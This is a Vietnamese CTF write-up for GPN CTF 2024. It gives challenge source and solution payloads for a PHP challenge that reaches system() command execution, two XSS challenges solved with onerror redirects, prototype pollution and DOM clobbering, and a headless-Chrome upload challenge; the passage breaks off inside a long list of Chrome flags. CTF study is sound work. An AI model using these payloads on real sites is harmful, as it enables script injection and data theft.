---
# System prepended metadata

title: 'CTF Note: GPN CTF 2024'

---

Giải này hầu như là **Client-Side**, đặc biệt là **XSS**, source cũng khá ngắn khá tương tự nhau nên cũng không phải tìm hiểu nhiều về các thư viện,... như các giải khác.

Tổng kết các chall với điểm và lượt solve:

![image](https://hackmd.io/_uploads/rkmYNBNB0.png)

## Never gonna tell a lie and type you

Source:
```php
<?php
       ini_set("display_errors",1);
       error_reporting(E_ALL);
//we tought about using passwords but you see everyone says they are insecure thus we came up with our own riddle.
function securePassword($user_secret){
    if ($user_secret < 10000){
        die("nope don't cheat");
    }
    $o = (integer) (substr(hexdec(md5(strval($user_secret))),0,7)*123981337);
    return $user_secret * $o ;
    
}
//this weird http parameter handling is old we use json 
$user_input = json_decode($_POST["data"]); 
//attention handling user data is dangerous
var_dump($user_input);

if ($_SERVER['HTTP_USER_AGENT'] != "friendlyHuman"){
    die("we don't tolerate toxicity");
}
    if($user_input->{'user'} === "admin🤠") {
        if ($user_input->{'password'} == securePassword($user_input->{'password'})  ){
            echo " hail admin what can I get you ". system($user_input->{"command"});
        }
        else {
            die("Skill issue? Maybe you just try  again?");
        }}
        else {
            echo "<html>";
            echo "<body>";
            echo "<h1>Welcome [to innovative Web Startup]</h1>";
            echo "<p> here we focus on the core values of each website. The backbone that carries the entire frontend</p><br><br>";
            echo "<blink>For this we only use old and trusty tools that are well documented and well tested</blink><br><br>";
            echo "<Big>That is not to say that we are not innovative, our authenticators are ahead of their time.</Big><br><br>";
           echo "<plaintext> to give you an teaser of our skills look at this example of commissioned work we build in a past project </plaintext>"; 
            
            echo system("fortune")."<br>";
        }
?>
```

Solution:

![image](https://hackmd.io/_uploads/BypqXJkHR.png)

## todo
Source
```javascript
const express = require('express');
const puppeteer = require('puppeteer');

const randomBytes = require('crypto').randomBytes(32).toString('hex');

const fs = require('fs');

const flag = process.env.FLAG || fs.readFileSync('./flag', 'utf8');
const script = fs.readFileSync('./script.js', 'utf8');

const app = express();
app.use(express.urlencoded({ extended: true }));

app.get('/', (req, res) => {
    res.send(`
        <h1>TODO</h1>
        <form action="/chal" method="post">
            <input type="text" name="html" placeholder="HTML">
            <button type="submit">Submit to /chal</button>
        </form>
        <hr>
        <form action="/admin" method="post">
            <input type="text" name="html" placeholder="HTML">
            <button type="submit">Submit to /admin</button>
        </form>
    `);
});

app.post('/chal', (req, res) => {
    const { html } = req.body;
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' 'unsafe-inline';");
    res.send(`
        <script src="/script.js"></script>
        ${html}
    `);
});

app.get('/script.js', (req, res) => {
    res.type('.js');
    let response = script;
    if ((req.get("cookie") || "").includes(randomBytes)) response = response.replace(/GPNCTF\{.*\}/, flag)
    res.send(response);
});

app.post('/admin', async (req, res) => {
    try {
        const { html } = req.body;
        const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
        const page = await browser.newPage();
        page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
        await page.goto('http://localhost:1337/');
        await page.type('input[name="html"]', html);
        await page.click('button[type="submit"]');
        await new Promise(resolve => setTimeout(resolve, 2000));
        const screenshot = await page.screenshot({ encoding: 'base64' });
        await browser.close();
        res.send(`<img src="data:image/png;base64,${screenshot}" />`);
    } catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});

app.listen(1337, () => console.log('listening on http://localhost:1337'));

```
Bot sẽ nhập param `html` sau đó và POST đến `/chal`, sau đó capture screenshot lại. Mục tiêu là đưa nó vào `/script.js` chứa flag:
```javascript
class FlagAPI {
    constructor() {
        throw new Error("Not implemented yet!")
    }

    static valueOf() {
        return new FlagAPI()
    }

    static toString() {
        return "<FlagAPI>"
    }

    // TODO: Make sure that this is secure before deploying
    // getFlag() {
    //     return "GPNCTF{FAKE_FLAG_ADMINBOT_WILL_REPLACE_ME}"
    // }
}
```
Payload:
```
<img src=0 onerror=location.href="/script.js">
```
Hoặc
```javascript
<script defer>
    let a = Function.prototype.toString.apply(FlagAPI);
    document.write(a);
</script>
```
## todo-hard
Khác bài trên ở chỗ:

![image](https://hackmd.io/_uploads/rJvhRZNBA.png)

flag đã bị replace:

![image](https://hackmd.io/_uploads/SkS8kG4HC.png)

### Solution:
- intended: 
Thay đổi output để tránh bị replace:
```html
<script>
  FlagAPI.toString = Function.prototype.toString;
  document.write(FlagAPI.toString().split(""));
</script>
```

![image](https://hackmd.io/_uploads/SJkQVGNSR.png)

- unintended:
Prototype pollution:
```
<script>''.__proto__.replace = (a, b) => a</script>
<body></body><script>"".__proto__.replace = () => window.location="/script.js"  </script>
```
![image](https://hackmd.io/_uploads/rJoLEMNSC.png)

![image](https://hackmd.io/_uploads/Hk7dNG4B0.png)

Dom clobbering (`document.body`):
```javascript
<script>
    FlagAPI.toString = Object.toString;document.write(FlagAPI.toString())
</script>
<form name="body"></form>
```
![image](https://hackmd.io/_uploads/r1eLSzVr0.png)



## So many flags
Source:
```javascript!
const express = require('express');
const { exec, spawn } = require('child_process');
const fs = require('fs');
const path = require('path');
const multer = require('multer');
const app = express();

const port = 1337;

const flags = fs.readFileSync('flags.txt', 'utf8')

app.use(express.urlencoded({ extended: true }));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, path.join(__dirname, 'uploads'));
  },
  filename: (req, file, cb) => {
    cb(null, Math.random().toString(36).substring(7) + '.html');
  }
});

const upload = multer({ storage });

app.get('/', (req, res) => {
  res.send(`
    <html>
      <body>
        <h1>Upload an HTML file</h1>
        <form action="/submit" method="post" enctype="multipart/form-data">
          <input type="file" name="htmlFile" accept=".html">
          <button type="submit">Submit</button>
        </form>
      </body>
    </html>
  `);
});

app.post('/submit', upload.single('htmlFile'), (req, res) => {

  console.log(req.file);
  const { filename, path: filePath } = req.file;

  if (!filename || !filePath) {
    return res.status(400).send('No file uploaded');
  }

  const userDir = '/tmp/chrome-user-data-dir-' + Math.random().toString(36).substring(7);
  // Don't even try to remove --headless, everything will break. If you want to try stuff, use --remote-debugging-port and disable all other remote debugging flags.
  const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;

  res.send('File uploaded and processed successfully. Launched Chrome:<br><br>' + command);

  const chromeProcess = exec(command, (error, stdout, stderr) => {
    if (error) {
      console.error(`Error executing command: ${error.message}\nStdout: ${stdout}`);
    } else {
      console.error(`Stderr: ${stderr}\nStdout: ${stdout}`);
    }
  });

  setTimeout(() => {
    // seems brutal but chrome does Weird Things™ when launched with Every Possible Flag™
    exec('killall -9 chrome', (error, stdout, stderr) => {});
    console.log('Chrome process aborted');
  }, 10_000);
});

app.listen(port, () => {
  console.log(`Server running on port ${port}`);
});

```
Bài này cho phép upload file html và truy cập vào nó bằng cli của chrome
```javascript!
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;
```
Và dĩ nhiên có thể thực thi được JS.
Một số options chạy chrome được lưu trong `flags.txt`:
```
--0 --1 --10000 --100000 --1000000 --2 --3d-display-mode --4 --50000 --500000 --5000000 --7 --? --accept-empty-variations-seed-signature --accept-lang --accept-resource-provider --adaboost --add-gpu-appcontainer-caps --add-xr-appcontainer-caps --additional-private-state-token-key-commitments --aggressive-cache-discard --all --all-renderers --allarticles --allow-command-line-plugins --allow-cross-origin-auth-prompt --allow-empty-passwords-in-tests --allow-external-pages --allow-failed-policy-fetch-for-test --allow-file-access-from-files --allow-future-manifest-version --allow-http-background-page --allow-http-screen-capture --allow-insecure-localhost --allow-legacy-extension-manifests --allow-loopback-in-peer-connection --allow-nacl-crxfs-api --allow-nacl-file-handle-api --allow-nacl-socket-api --allow-os-install --allow-pre-commit-input --allow-profiles-outside-user-dir --allow-ra-in-dev-mode --allow-running-insecure-content --allow-sandbox-debugging --allow-silent-push --allow-third-party-modules --allowlisted-extension-id --almanac-api-url --alsa-amp-device-name --alsa-amp-element-name --alsa-check-close-timeout --alsa-enable-upsampling --alsa-fixed-output-sample-rate --alsa-input-device --alsa-mute-device-name --alsa-mute-element-name --alsa-output-avail-min --alsa-output-buffer-size --alsa-output-device --alsa-output-period-size --alsa-output-start-threshold --alsa-volume-device-name --alsa-volume-element-name --also-emit-success-logs --always-enable-hdcp --always-use-complex-text --alwaystrue --angle --animated-image-resume --animation-duration-scale --app --app-auto-launched --app-id --app-launch-url-for-shortcuts-menu-item --app-mode-auth-code --app-mode-oauth-token --app-mode-oem-manifest --app-run-on-os-login-mode --app-shell-allow-roaming --app-shell-host-window-size --app-shell-preferred-network --apple --apps-gallery-download-url --apps-gallery-update-url --apps-gallery-url --apps-keep-chrome-alive-in-tests --arc-availability --arc-available --arc-block-keymint --arc-data-cleanup-on-start --arc-disable-app-sync --arc-disable-dexopt-cache --arc-disable-download-provider --arc-disable-gms-core-cache --arc-disable-locale-sync --arc-disable-media-store-maintenance --arc-disable-play-auto-install --arc-disable-tts-cache --arc-disable-ureadahead --arc-erofs --arc-force-post-boot-dex-opt --arc-force-show-optin-ui --arc-generate-play-auto-install --arc-host-ureadahead-generation --arc-host-ureadahead-mode --arc-install-event-chrome-log-for-tests --arc-packages-cache-mode --arc-play-store-auto-update --arc-scale --arc-start-mode --arc-tos-host-for-tests --arc-use-dev-caches --arcvm-ureadahead-mode --arcvm-use-hugepages --as-browser --ash-allow-default-shelf-pin-layout-ignoring-sync --ash-bypass-glanceables-pref --ash-clear-fast-ink-buffer --ash-constrain-pointer-to-root --ash-contextual-nudges-interval --ash-contextual-nudges-reset-shown-count --ash-debug-shortcuts --ash-dev-shortcuts --ash-disable-touch-exploration-mode --ash-enable-magnifier-key-scroller --ash-enable-palette-on-all-displays --ash-enable-software-mirroring --ash-enable-unified-desktop --ash-hide-notifications-for-factory --ash-host-window-bounds --ash-no-nudges --ash-power-button-position --ash-side-volume-button-position --ash-touch-hud --attestation-server --attribution-reporting-debug-mode --audio --audio-buffer-size --audio-capturer-with-echo-cancellation --audio-codecs-from-edid --audio-output-channels --audio-output-sample-rate --audio-process-high-priority --aue-reached-for-update-required-test --aura-legacy-power-button --auth-server-allowlist --auth-spnego-account-type --auto --auto-accept-camera-and-microphone-capture --auto-accept-this-tab-capture --auto-grant-captured-surface-control-prompt --auto-open-devtools-for-tabs --auto-reject-this-tab-capture --auto-select-desktop-capture-source --auto-select-tab-capture-source-by-title --auto-select-window-capture-source-by-title --autofill-api-key --autofill-server-url --autofill-upload-throttling-period-in-days --autoplay-policy --back-gesture-horizontal-threshold --background-tracing-output-file --bgra --biod-fake --blink-settings --block-new-web-contents --bootstrap --borealis-launch-options --bottom-gesture-start-height --bound-session-cookie-rotation-delay --bound-session-cookie-rotation-result --browser --browser-data-backward-migration-for-user --browser-data-backward-migration-mode --browser-data-migration-for-user --browser-data-migration-mode --browser-subprocess-path --browser-test --browser-ui-tests-verify-pixels --bwsi --bypass-app-banner-engagement-checks --bypass-installable-message-throttle-for-testing --camera-effects-supported-by-hardware --canvas-2d-layers --cardboard --cast-app-background-color --cast-developer-certificate-path --cast-initial-screen-height --cast-initial-screen-width --cast-log-device-cert-chain --cast-mirroring-target-playout-delay --cast-mojo-broker-path --cast-streaming-force-disable-hardware-h264 --cast-streaming-force-disable-hardware-vp8 --cast-streaming-force-enable-hardware-h264 --cast-streaming-force-enable-hardware-vp8 --cc-layer-tree-test-long-timeout --cc-layer-tree-test-no-timeout --cc-scroll-animation-duration-in-seconds --cdm --cdm-data-directory --cdm-data-quota-bytes --cellular-first --change-stack-guard-on-fork --character --check-accessibility-permission --check-damage-early --check-for-update-interval --check-permission --check-screen-recording-permission --child-wallpaper-large --child-wallpaper-small --cipher-suite-blacklist --clamshell --class --clear-key-cdm-path-for-testing --clear-token-service --compensate-for-unstable-pinch-zoom --compile-shader-always-succeeds --component-updater --component-updater-trust-tokens-component-path --conditional-focus-window-ms --conservative --content-shell-devtools-tab-target --content-shell-hide-toolbar --content-shell-host-window-size --context-provider --controller --coral-feature-key --cors-exempt-headers --crash-dumps-dir --crash-loop-before --crash-on-failure --crash-on-hang-threads --crash-server-url --crashpad-handler --crashpad-handler-pid --create-browser-on-startup-for-tests --cros-disks-fake --cros-postlogin-data-fd --cros-postlogin-log-file --cros-region --cros-startup-data-fd --crosh-command --cryptauth-http-host --cryptauth-v2-devicesync-http-host --cryptauth-v2-enrollment-http-host --cryptohome-ignore-cleanup-ownership-for-testing --cryptohome-recovery-service-base-url --cryptohome-recovery-use-test-env --cryptohome-use-authsession --cryptohome-use-old-encryption-for-testing --custom-android-messages-domain --custom-devtools-frontend --custom_summary --d3d-support --d3d11 --d3d11-null --d3d11on12 --d3d9 --daemon --dark-mode-settings --data-path --data-quota-bytes --data-url-in-svg-use-enabled --dawn --dawn-d3d11 --dawn-d3d12 --dawn-metal --dawn-swiftshader --dawn-vulkan --dbus-stub --deadline-to-synchronize-surfaces --debug-devtools --debug-packed-apps --debug-print --default --default-country-code --default-tile-height --default-tile-width --default-trace-buffer-size-limit-in-kb --default-wallpaper-is-oem --default-wallpaper-large --default-wallpaper-small --defer-external-display-timeout --defer-feature-list --demo-mode-enrolling-username --demo-mode-force-arc-offline-provision --demo-mode-highlights-extension --demo-mode-screensaver-extension --demo-mode-swa-content-directory --deny-permission-prompts --derelict-detection-timeout --derelict-idle-timeout --desktop --desktop-window-1080p --deterministic-mode --dev --device-management-url --device-scale-factor --devtools-code-coverage --devtools-flags --diagnostics-format --diagnostics-recovery --direct-composition-video-swap-chain-format --direction --disable --disable-2d-canvas-clip-aa --disable-2d-canvas-image-chromium --disable-3d-apis --disable-accelerated-2d-canvas --disable-accelerated-mjpeg-decode --disable-accelerated-video-decode --disable-accelerated-video-encode --disable-adpf --disable-angle-features --disable-app-content-verification --disable-arc-cpu-restriction --disable-arc-data-wipe --disable-arc-opt-in-verification --disable-audio-input --disable-audio-output --disable-auto-maximize-for-tests --disable-auto-reload --disable-auto-wpt-origin-isolation --disable-ax-menu-list --disable-back-forward-cache --disable-background-media-suspend --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-backing-store-limit --disable-best-effort-tasks --disable-blink-features --disable-breakpad --disable-cancel-all-touches --disable-canvas-aa --disable-checker-imaging --disable-checking-optimization-guide-user-permissions --disable-chrome-tracing-computation --disable-component-extensions-with-background-pages --disable-component-update --disable-composited-antialiasing --disable-cookie-encryption --disable-crash-reporter --disable-databases --disable-dawn-features --disable-default-apps --disable-demo-mode --disable-dev-shm-usage --disable-device-disabling --disable-dinosaur-easter-egg --disable-disallow-lacros --disable-domain-blocking-for-3d-apis --disable-domain-reliability --disable-drive-fs-for-testing --disable-explicit-dma-fences --disable-extensions --disable-extensions-except --disable-extensions-file-access-check --disable-extensions-http-throttling --disable-features --disable-field-trial-config --disable-file-system --disable-fine-grained-time-zone-detection --disable-first-run-ui --disable-font-subpixel-positioning --disable-frame-rate-limit --disable-gaia-services --disable-gesture-requirement-for-presentation --disable-gl-drawing-for-tests --disable-gl-error-limit --disable-gl-extensions --disable-glsl-translator --disable-gpu --disable-gpu-compositing --disable-gpu-driver-bug-workarounds --disable-gpu-early-init --disable-gpu-memory-buffer-compositor-resources --disable-gpu-memory-buffer-video-frames --disable-gpu-process-crash-limit --disable-gpu-process-for-dx12-info-collection --disable-gpu-program-cache --disable-gpu-rasterization --disable-gpu-sandbox --disable-gpu-shader-disk-cache --disable-gpu-vsync --disable-gpu-watchdog --disable-hang-monitor --disable-headless-mode --disable-hid-blocklist --disable-hid-detection-on-oobe --disable-highres-timer --disable-histogram-customizer --disable-image-animation-resync --disable-in-process-stack-traces --disable-input-event-activation-protection --disable-ios-password-suggestions --disable-ipc-flooding-protection --disable-javascript-harmony-shipping --disable-kill-after-bad-ipc --disable-lacros-keep-alive --disable-layer-tree-host-memory-pressure --disable-lazy-loading --disable-lcd-text --disable-legacy-window --disable-libassistant-logfile --disable-local-storage --disable-logging --disable-logging-redirect --disable-login-animations --disable-login-lacros-opening --disable-login-screen-apps --disable-low-end-device-mode --disable-low-latency-dxva --disable-low-res-tiling --disable-machine-cert-request --disable-media-session-api --disable-metal-shader-cache --disable-mipmap-generation --disable-modal-animations --disable-model-download-verification --disable-mojo-renderer --disable-nacl --disable-namespace-sandbox --disable-new-base-url-inheritance-behavior --disable-new-content-rendering-timeout --disable-notifications --disable-nv12-dxgi-video --disable-oobe-chromevox-hint-timer-for-testing --disable-oobe-network-screen-skipping-for-testing --disable-oopr-debug-crash-dump --disable-origin-trial-controlled-blink-features --disable-overscroll-edge-effect --disable-partial-raster --disable-pdf-tagging --disable-pepper-3d --disable-per-user-timezone --disable-permissions-api --disable-pinch --disable-pnacl-crash-throttling --disable-policy-key-verification --disable-popup-blocking --disable-prefer-compositing-to-lcd-text --disable-presentation-api --disable-print-preview --disable-prompt-on-repost --disable-pull-to-refresh-effect --disable-pushstate-throttle --disable-reading-from-canvas --disable-remote-fonts --disable-remote-playback-api --disable-renderer-accessibility --disable-renderer-backgrounding --disable-resource-scheduler --disable-rgba-4444-textures --disable-rollback-option --disable-rtc-smoothness-algorithm --disable-screen-orientation-lock --disable-scroll-to-text-fragment --disable-search-engine-choice-screen --disable-seccomp-filter-sandbox --disable-setuid-sandbox --disable-shader-name-hashing --disable-shared-workers --disable-signin-frame-client-certs --disable-site-isolation-trials --disable-skia-graphite --disable-skia-runtime-opts --disable-smooth-scrolling --disable-software-rasterizer --disable-speech-api --disable-speech-synthesis-api --disable-stack-profiler --disable-third-party-keyboard-workaround --disable-threaded-animation --disable-threaded-compositing --disable-throttle-non-visible-cross-origin-iframes --disable-timeouts-for-profiling --disable-touch-drag-drop --disable-usb-keyboard-detect --disable-v8-idle-tasks --disable-variations-safe-mode --disable-variations-seed-fetch-throttling --disable-video-capture-use-gpu-memory-buffer --disable-virtual-keyboard --disable-volume-adjust-sound --disable-vsync-for-tests --disable-vulkan-fallback-to-gl-for-testing --disable-vulkan-for-tests --disable-vulkan-surface --disable-wayland-ime --disable-web-security --disable-webgl --disable-webgl-image-chromium --disable-webgl2 --disable-webrtc-encryption --disable-webrtc-hw-decoding --disable-webrtc-hw-encoding --disable-yuv-image-decoding --disable-zero-browsers-open-for-tests --disable-zero-copy --disable-zero-copy-dxgi-video --disabled --disallow-lacros --disallow-non-exact-resource-reuse --disallow-policy-block-dev-mode --discoverability --disk-cache-dir --disk-cache-size --display --display-properties --dmg-device --document-user-activation-required --dom-automation --double-buffer-compositing --draw-view-bounds-rects --drm-virtual-connector-is-external --dump-blink-runtime-call-stats --dump-browser-histograms --dumpstate-path --edge-touch-filtering --egl --elevate --embedded-extension-options --enable --enable-accelerated-2d-canvas --enable-adaptive-selection-handle-orientation --enable-aggressive-domstorage-flushing --enable-angle-features --enable-arc --enable-arcvm --enable-arcvm-rt-vcpu --enable-ash-debug-browser --enable-audio-debug-recordings-from-extension --enable-auto-reload --enable-automation --enable-background-thread-pool --enable-background-tracing --enable-begin-frame-control --enable-benchmarking --enable-ble-advertising-in-apps --enable-blink-features --enable-blink-test-features --enable-bookmark-undo --enable-caret-browsing --enable-cast-receiver --enable-cast-streaming-receiver --enable-chrome-browser-cloud-management --enable-cloud-print-proxy --enable-consumer-kiosk --enable-content-directories --enable-crash-reporter --enable-crash-reporter-for-testing --enable-crx-hash-check --enable-dawn-backend-validation --enable-dawn-features --enable-dim-shelf --enable-direct-composition-video-overlays --enable-discover-feed --enable-distillability-service --enable-dom-distiller --enable-domain-reliability --enable-distillability-service --enable-dom-distiller --enable-domain-reliability --enable-encryption-selection --enable-exclusive-audio --enable-experimental-accessibility-autoclick --enable-experimental-accessibility-labels-debugging --enable-experimental-accessibility-language-detection --enable-experimental-accessibility-language-detection-dynamic --enable-experimental-accessibility-manifest-v3 --enable-experimental-accessibility-switch-access-text --enable-experimental-cookie-features --enable-experimental-extension-apis --enable-experimental-web-platform-features --enable-experimental-webassembly-features --enable-extension-activity-log-testing --enable-extension-activity-logging --enable-extension-assets-sharing --enable-fake-no-alloc-direct-call-for-testing --enable-features --enable-finch-seed-delta-compression --enable-font-antialiasing --enable-gpu --enable-gpu-benchmarking --enable-gpu-blocked-time --enable-gpu-client-logging --enable-gpu-client-tracing --enable-gpu-debugging --enable-gpu-driver-debug-logging --enable-gpu-rasterization --enable-gpu-service-logging --enable-gpu-service-tracing --enable-hangout-services-extension-for-testing --enable-houdini64 --enable-idle-tracing --enable-input --enable-ios-handoff-to-other-devices --enable-isolated-web-apps-in-renderer --enable-lacros-fork-zygotes-at-login-screen --enable-lacros-shared-components-dir --enable-lcd-text --enable-leak-detection --enable-leak-detection-heap-snapshot --enable-legacy-background-tracing --enable-live-caption-pref-for-testing --enable-local-file-accesses --enable-logging --enable-longpress-drag-selection --enable-low-res-tiling --enable-magnifier-debug-draw-rect --enable-main-frame-before-activation --enable-nacl --enable-natural-scroll-default --enable-ndk-translation --enable-ndk-translation64 --enable-net-benchmarking --enable-network-information-downlink-max --enable-new-app-menu-icon --enable-ntp-search-engine-country-detection --enable-oobe-chromevox-hint-timer-for-dev-mode --enable-oobe-test-api --enable-optimization-guide-debug-logs --enable-page-content-annotations-logging --enable-pepper-testing --enable-pixel-output-in-tests --enable-plugin-placeholder-testing --enable-precise-memory-info --enable-prefer-compositing-to-lcd-text --enable-primary-node-access-for-vkms-testing --enable-privacy-sandbox-ads-apis --enable-profile-shortcut-manager --enable-promo-manager-fullscreen-promos --enable-protected-video-buffers --enable-raster-side-dark-mode-for-images --enable-requisition-edits --enable-resources-file-sharing --enable-rgba-4444-textures --enable-sandbox-logging --enable-scaling-clipped-images --enable-service-binary-launcher --enable-service-manager-tracing --enable-sgi-video-sync --enable-skia-benchmarking --enable-skia-graphite --enable-smooth-scrolling --enable-spatial-navigation --enable-speech-dispatcher --enable-spotlight-actions --enable-strict-mixed-content-checking --enable-strict-powerful-feature-restrictions --enable-swap-buffers-with-bounds --enable-tablet-form-factor --enable-third-party-keyboard-workaround --enable-threaded-texture-mailboxes --enable-top-drag-gesture --enable-touch-calibration-setting --enable-touch-drag-drop --enable-touchpad-three-finger-click --enable-touchview --enable-trace-app-source --enable-tracing --enable-tracing-format --enable-tracing-fraction --enable-tracing-output --enable-ui-devtools --enable-unsafe-webgpu --enable-upgrade-signin-promo --enable-usermedia-screen-capturing --enable-utempter --enable-viewport --enable-virtual-keyboard --enable-vtune-support --enable-vulkan-protected-memory --enable-wayland-ime --enable-web-auth-deprecated-mojo-testing-api --enable-webgl-developer-extensions --enable-webgl-draft-extensions --enable-webgl-image-chromium --enable-webrtc-srtp-encrypted-headers --enable-widevine --enable-zero-copy --enabled --encode-binary --encrypted-reporting-url --enforce --enforce-gl-minimums --enforce_strict --ensure-forced-color-profile --enterprise-enable-forced-re-enrollment --enterprise-enable-forced-re-enrollment-on-flex --enterprise-enable-initial-enrollment --enterprise-enable-unified-state-determination --enterprise-enrollment-initial-modulus --enterprise-enrollment-modulus-limit --enterprise-force-manual-enrollment-in-test-builds --eol-ignore-profile-creation-time --eol-reset-dismissed-prefs --evaluate_capability --explicitly-allowed-ports --export-uma-logs-to-file --expose-internals-for-testing --extension-apps-block-for-app-service-in-ash --extension-apps-run-in-ash-only --extension-content-verification --extension-force-channel --extension-install-event-chrome-log-for-tests --extension-process --extension-updater-test-request --extensions-install-verification --extensions-on-chrome-urls --extensions-run-in-ash-and-lacros --extensions-run-in-ash-only --external-metrics-collection-interval --extra-search-query-params --extra-web-apps-dir --fail-audio-stream-creation --fake-arc-recommended-apps-for-testing --fake-drivefs-launcher-chroot-path --fake-drivefs-launcher-socket-path --fake-variations-channel --false --feedback-server --field-trial-handle --file-storage-server-upload-url --file-url-path-alias --file_chooser --finch-seed-expiration-age --finch-seed-ignore-pending-download --finch-seed-min-download-period --finch-seed-min-update-period --fingerprint-sensor-location --first-exec-after-boot --flag-switches-begin --flag-switches-end --font-cache-shared-handle --font-render-hinting --force-app-mode --force-assistant-onboarding --force-browser-crash-on-gpu-crash --force-browser-data-migration-for-testing --force-caption-style --force-color-profile --force-cryptohome-recovery-for-testing --force-dark-mode --force-dev-mode-highlighting --force-device-ownership --force-device-scale-factor --force-devtools-available --force-disable-variation-ids --force-enable-metrics-reporting --force-enable-stylus-tools --force-fieldtrials --force-first-run --force-first-run-ui --force-gpu-mem-available-mb --force-gpu-mem-discardable-limit-mb --force-happiness-tracking-system --force-headless-for-tests --force-high-contrast --force-hwid-check-result-for-test --force-lacros-launch-at-login-screen-for-testing --force-launch-browser --force-login-manager-in-tests --force-max-texture-size --force-media-resolution-height --force-media-resolution-width --force-msbb-setting-on-for-ukm --force-online-connection-state-for-indicator --force-permission-policy-unload-default-enabled --force-pnacl-subzero --force-presentation-receiver-for-testing --force-protected-video-output-buffers --force-raster-color-profile --force-refresh-rate-throttle --force-renderer-accessibility --force-search-engine-choice-screen --force-separate-egl-display-for-webgl-testing --force-show-cursor --force-show-update-menu-badge --force-status-area-collapsible --force-tablet-power-button --force-text-direction --force-ui-direction --force-update-menu-type --force-update-remote-url --force-variation-ids --force-video-overlays --force-wave-audio --force-webgpu-compat --force-webxr-runtime --force-whats-new --forest-feature-key --form-factor --frame-throttle-fps --full-memory-crash-report --gaia-url --gamepad-polling-interval --gcm-mcs-endpoint --gcm-registration-url --generate-accessibility-test-expectations --generate-pdf-document-outline --get-access-token-for-test --gl --gl-egl --gl-null --gl-shader-interm-output --glanceables-key --gles --gles-null --google-api-key --google-apis-url --google-base-url --google-doodle-url --google-url --gpu --gpu-blocklist-test-group --gpu-device-id --gpu-disk-cache-size-kb --gpu-driver-bug-list-test-group --gpu-driver-version --gpu-launcher --gpu-no-context-lost --gpu-preferences --gpu-process --gpu-program-cache-size-kb --gpu-rasterization-msaa-sample-count --gpu-revision --gpu-sandbox-allow-sysv-shm --gpu-sandbox-failures-fatal --gpu-sandbox-start-early --gpu-startup-dialog --gpu-sub-system-id --gpu-vendor-id --gpu-watchdog-timeout-seconds --gpu2-startup-dialog --graphics-buffer-count --growth-campaigns-path --guest --guest-wallpaper-large --guest-wallpaper-small --gvr --hardware-video-decode-framerate --hardware_video_decoding --hardware_video_encoding --has-chromeos-keyboard --has-hps --has-internal-stylus --has-number-pad --hermes-fake --hidden-network-migration-age --hidden-network-migration-interval --hide-crash-restore-bubble --hide-icons --hide-scrollbars --highlight-all-webviews --highlight-non-lcd-text-layers --homedir --homepage --host --host-package-label --host-package-name --host-resolver-rules --host-version-code --icon_reader --ignore-arcvm-dev-conf --ignore-autocomplete-off-autofill --ignore-certificate-errors-spki-list --ignore-google-port-numbers --ignore-gpu-blocklist --ignore-unknown-auth-factors --ignore-urlfetcher-cert-requests --ignore-user-profile-mapping-for-tests --ime --in-process-broker --in-process-gpu --initial-preferences-file --initialize-client-hints-storage --install-autogenerated-theme --install-chrome-app --install-isolated-web-app-from-file --install-isolated-web-app-from-url --install-log-fast-upload-for-tests --instant-process --ip-address-space-overrides --ipc-dump-directory --ipc-fuzzer-testcase --isolate-origins --isolated-context-origins --isolation-by-default --js-flags --keep-alive-for-test --kiosk --kiosk-printing --kiosk-splash-screen-min-time-seconds --lacros-availability-ignore --lacros-chrome-additional-args --lacros-chrome-additional-args-file --lacros-chrome-additional-env --lacros-chrome-path --lacros-mojo-socket-for-testing --lacros-selection-policy-ignore --lang --last-launched-app --launch-rma --launch-time-ticks --layer --libassistant --list-apps --list-audio-devices --llvm-profile-file --load-extension --load-guest-mode-test-extension --load-signin-profile-test-extension --localhost --log-best-effort-tasks --log-file --log-gpu-control-list-decisions --log-level --log-missing-unload-ack --log-net-log --log-on-ui-double-background-blur --login-manager --login-profile --login-user --lso-url --ltr --make-chrome-default --managed-user-id --mangle-localized-strings --manual --market-url-for-testing --max-decoded-image-size-mb --max-gum-fps --max-untiled-layer-height --max-untiled-layer-width --max-web-media-player-count --mem-pressure-system-reserved-kb --memlog --memlog-sampling-rate --memlog-stack-mode --message-loop-type-ui --metal --metal-null --metrics-client-id --metrics-recording-only --metrics-shmem-handle --metrics-upload-interval --mf_cdm --min-height-for-gpu-raster-tile --min-video-decoder-output-buffer-size --minimal --mirroring --mixed --mixer-enable-dynamic-channel-count --mixer-service-endpoint --mixer-service-port --mixer-source-audio-ready-threshold-ms --mixer-source-input-queue-ms --mock --mock-cert-verifier-default-result-for-testing --model-quality-service-api-key --mojo-local-storage --mojo-pipe-token --monitoring-destination-id --mse-audio-buffer-size-limit-mb --mse-video-buffer-size-limit-mb --mute-audio --nacl-debug-mask --nacl-gdb --nacl-gdb-script --nacl-loader --native --native-messaging-connect-extension --native-messaging-connect-host --native-messaging-connect-id --native-with-thread-names --nearby-share-certificate-validity-period-hours --nearby-share-device-id --nearby-share-num-private-certificates --nearby-share-verbose-logging --nearbysharing-http-host --net-log-capture-mode --net-log-max-size-mb --netifs-to-ignore --network --network-quiet-timeout --no-appcompat-clear --no-default-browser-check --no-delay-for-dx12-vulkan-info-collection --no-experiments --no-first-run --no-mojo --no-network-profile-warning --no-pings --no-pre-read-main-dll --no-proxy-server --no-sandbox --no-service-autorun --no-system-proxy-config-service --no-unsandboxed-zygote --no-user-gesture-required --no-vr-runtime --no-xshm --no-zygote --no-zygote-sandbox --noerrdialogs --none --none_and_elevated --note-taking-app-ids --notification-inline-reply --notification-launch-id --null --num-raster-threads --nv12 --oauth-account-manager-url --oauth2-client-id --oauth2-client-secret --offer-in-settings --offscreen-document-testing --on-the-fly-mhtml-hash-computation --ondevice-validation-write-to-file --on_device_model_execution --oobe-eula-url-for-tests --oobe-force-tablet-first-run --oobe-large-screen-special-scaling --oobe-print-frontend-load-timings --oobe-screenshot-dir --oobe-show-accessibility-button-on-marketing-opt-in-for-testing --oobe-skip-postlogin --oobe-skip-to-login --oobe-timer-interval --oobe-timezone-override-for-tests 